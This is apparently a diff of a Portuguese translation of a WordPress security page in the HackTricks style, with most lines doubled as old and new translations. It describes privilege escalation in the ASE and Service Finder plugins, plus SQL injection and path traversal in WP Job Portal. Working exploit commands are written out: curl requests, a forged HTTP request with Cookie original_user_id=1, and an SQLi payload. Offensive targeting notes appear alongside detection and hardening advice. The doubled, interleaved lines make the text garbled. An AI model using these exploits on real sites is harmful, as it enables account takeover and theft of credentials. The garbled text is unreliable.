Muitos plugins implementam um recurso de "view as role" ou troca temporária de função salvando a(s) função(ões) originais em user meta para que possam ser restauradas depois. Se o caminho de restauração depender apenas de parâmetros de requisição (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma escalada vertical de privilégios.
Muitos plugins implementam um recurso "view as role" ou alternância temporária de role salvando o(s) role(s) originais em user meta para que possam ser restaurados mais tarde. Se o caminho de restauração depende apenas de request parameters (e.g., `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma vertical privilege escalation.
Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de reset restaurava funções com base em `reset-for=<username>` se o username aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem um `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas em user meta `_asenha_view_admin_as_original_roles`:
Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de reset restaurava roles com base em `reset-for=<username>` se o username aparecia em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem um `current_user_can()` nem uma verificação de nonce antes de remover os roles atuais e re-adicionar os roles salvos do user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -513,13 +513,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
```
Por que é explorável
- Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no lado do servidor.
- Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o reset path.
- Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
- Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no servidor.
- Se um usuário anteriormente teve privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de reset.
- Em algumas implantações, qualquer usuário autenticado poderia disparar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
Pré-requisitos do ataque
- Versão vulnerável do plugin com o recurso ativado.
- Versão vulnerável do plugin com o recurso habilitado.
- A conta alvo tem uma role de alto privilégio obsoleta armazenada em user meta de uso anterior.
- Qualquer sessão autenticada; ausência de nonce/capability no fluxo de reset.
@ -531,57 +531,106 @@ Exploração (exemplo)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), escalando privilégios.
Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), escalando privilégios de forma efetiva.
Checklist de detecção
Detection checklist
- Procure por recursos de troca de função que persistam “funções originais” em user meta (por exemplo, `_asenha_view_admin_as_original_roles`).
- Identifique caminhos de reset/restore que:
- Identifique paths de reset/restore que:
- Leem nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`.
- Modificam funções via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizam com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
Mitigações
Hardening
- Implemente verificações de capability em cada ramo que altere estado (por exemplo, `current_user_can('manage_options')` ou mais restrito).
- Aplique verificações de capacidade em todos os ramos que alteram estado (por exemplo, `current_user_can('manage_options')` ou mais restrito).
- Exija nonces para todas as mutações de função/permissão e verifique-os: `check_admin_referer()` / `wp_verify_nonce()`.
- Nunca confie em nomes de usuário fornecidos pela requisição; resolva o usuário alvo no servidor com base no ator autenticado e em uma política explícita.
- Invalide o estado de “funções originais” em atualizações de perfil/função para evitar restauração obsoleta de privilégios elevados:
- Nunca confie em nomes de usuário fornecidos na requisição; resolva o usuário alvo no servidor com base no ator autenticado e em política explícita.
- Invalide o estado das “funções originais” nas atualizações de perfil/função para evitar restauração obsoleta de privilégios elevados:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
Considere armazenar o mínimo de estado e usar tokens com duração limitada, protegidos por capability, para trocas temporárias de função.
- Considere armazenar o mínimo de estado e usar tokens com tempo limitado e protegidos por capability para trocas temporárias de função.
---
### Considerações de WAF para WordPress/plugin CVEs
### Escalada de privilégio não autenticada via troca de usuário confiável por cookie no init público (Service Finder “sf-booking”)
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Alguns plugins ligam helpers de troca de usuário ao hook público `init` e derivam a identidade a partir de um cookie controlado pelo cliente. Se o código chamar `wp_set_auth_cookie()` sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário.
Padrão vulnerável típico (simplificado de Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
```
Por que é explorável
- O hook público `init` torna o handler acessível por unauthenticated users (sem a proteção `is_user_logged_in()`).
- A identidade é derivada de um cookie modificável pelo cliente (`original_user_id`).
- Uma chamada direta para `wp_set_auth_cookie($uid)` autentica o requisitante como esse usuário sem qualquer verificação de capability/nonce.
Exploitation (unauthenticated)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
```
---
### Considerações de WAF para CVEs do WordPress/plugins
WAFs genéricos de edge/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/autenticação específicos da aplicação que parecem tráfego benigno a menos que o motor entenda as rotas do WordPress e a semântica dos plugins.
Notas ofensivas
- Mire endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Teste primeiro caminhos não autenticados (AJAX `nopriv`, REST com `permission_callback` permissivo, shortcodes públicos). Payloads padrão frequentemente funcionam sem obfuscação.
- Casos típicos de alto impacto: elevação de privilégios (broken access control), arbitrary file upload/download, LFI, open redirect.
- Direcione endpoints específicos de plugins com payloads limpos: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, manipuladores de arquivo personalizados, shortcodes.
- Teste caminhos não autenticados primeiro (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação.
- Casos típicos de alto impacto: escalonamento de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect.
Notas defensivas
- Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente patches virtuais específicos de vulnerabilidade na camada de aplicação ou atualize rapidamente.
- Prefira checagens de segurança positivas no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.
- Não confie em assinaturas de WAF genéricas para proteger CVEs de plugins. Implemente patches virtuais específicos da vulnerabilidade na camada de aplicação ou atualize rapidamente.
- Prefira verificações de security positiva no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.
## Proteção do WordPress
### Atualizações regulares
Certifique-se de que WordPress, plugins e themes estão atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Além disso, **instale apenas plugins e temas WordPress confiáveis**.
Além disso, **instale apenas plugins e temas confiáveis do WordPress**.
### Plugins de Segurança
@ -593,14 +642,13 @@ Além disso, **instale apenas plugins e temas WordPress confiáveis**.
- Remova o usuário padrão **admin**
- Use **senhas fortes** e **2FA**
- **Revise** periodicamente as **permissões** dos usuários
- **Limite tentativas de login** para prevenir ataques de Brute Force
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de certos endereços IP.
- Revise periodicamente as **permissões** dos **usuários**
- **Limite as tentativas de login** para prevenir ataques Brute Force
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de determinados endereços IP.
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
### Injeção SQL não autenticada via validação insuficiente (WP Job Portal <= 2.3.2)
O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que acaba por executar o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -610,15 +658,15 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Issues introduced by this snippet:
Problems introduzidos por este snippet:
1. **Unsanitised user input** `parentid` comes straight from the HTTP request.
2. **String concatenation inside the WHERE clause** no `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
1. **Entrada do utilizador não sanitizada** `parentid` vem diretamente da requisição HTTP.
2. **Concatenação de strings dentro da cláusula WHERE** ausência de `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** embora a ação seja executada através de `admin-post.php`, a única verificação em vigor é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode obter de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`.
#### Exploração
1. Pegue um nonce novo:
1. Obtenha um nonce novo:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -630,18 +678,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
A resposta revela o resultado da query injetada ou altera o banco de dados, comprovando a SQLi.
A resposta revela o resultado da query injetada ou altera a base de dados, provando SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Outra tarefa, **downloadcustomfile**, permitia que visitantes baixassem **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
Outra tarefa, **downloadcustomfile**, permitia a visitantes descarregar **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo.
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página do currículo.
#### Exploração
```bash
@ -663,5 +711,7 @@ O servidor responde com o conteúdo de `wp-config.php`, leaking DB credentials a
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
{{#include ../../banners/hacktricks-training.md}}